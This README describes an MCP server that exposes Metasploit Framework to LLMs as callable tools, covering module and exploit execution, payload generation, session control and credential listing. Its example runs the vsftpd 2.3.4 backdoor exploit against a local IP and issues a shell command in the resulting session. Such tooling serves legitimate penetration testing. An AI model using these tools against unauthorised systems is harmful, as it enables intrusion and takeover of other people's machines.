mcp-pymetasploit3
MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.

Install
pip install mcp-pymetasploit3
MCP Server Configuration
{
"mcpServers": {
"mcp-pymetasploit3": {
"command": "mcp-pymetasploit3",
"env": {}
}
}
}
Usage
Starting Metasploit RPC Server
Before using the MCP server, you need to start the Metasploit RPC server:
Using msfrpcd:
msfrpcd -P yourpassword -p 55553 -n
Using msfconsole:
msfconsole -q
msf6 > load msgrpc Pass=yourpassword
MCP Tools
Once connected, the following tools are available:
Connection Management
connect - Connect to Metasploit RPC server
disconnect - Disconnect from RPC server
get_client_info - Get current connection status
Module Management
list_modules - List available modules by type
use_module - Load a specific module
get_module_info - Get module description and info
get_module_options - Get all module options
set_module_option - Set a module option
get_missing_required - Get required options not set
execute_module - Execute a module
get_module_targets - Get available targets
set_module_target - Set the target
get_target_payloads - Get compatible payloads
Payload Generation
generate_payload - Generate a payload
Session Management
list_sessions - List all active sessions
get_session_info - Get session information
interact_session - Write/read from session
session_run_command - Run command with output
stop_session - Stop a session
Console Management
create_console - Create a new console
destroy_console - Destroy a console
write_console - Write to console
read_console - Read console output
console_is_busy - Check if console is busy
run_module_output - Execute module and get output
Core/Framework
get_framework_version - Get framework version
core_save - Save core state
core_reload_modules - Reload modules
core_set_global - Set global variable
core_unset_global - Unset global variable
Database
get_db_status - Get database status
db_list_workspaces - List workspaces
db_set_workspace - Set current workspace
db_list_hosts - List hosts
db_list_services - List services
db_list_notes - List notes
db_list_creds - List credentials
db_list_vulns - List vulnerabilities
Jobs
list_jobs - List running jobs
stop_job - Stop a job
get_job_info - Get job information
Plugins
list_plugins - List loaded plugins
load_plugin - Load a plugin
unload_plugin - Unload a plugin
Search
search_modules - Search for modules
get_module_references - Get module references
Example
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)
exploits = list_modules("exploit")
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")
sessions = list_sessions()
output = interact_session("1", "whoami")
disconnect()
Development
git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"
pytest
ruff format src/ tests/
ruff check src/ tests/
mypy src/
mcp-name: io.github.daedalus/mcp-pymetasploit3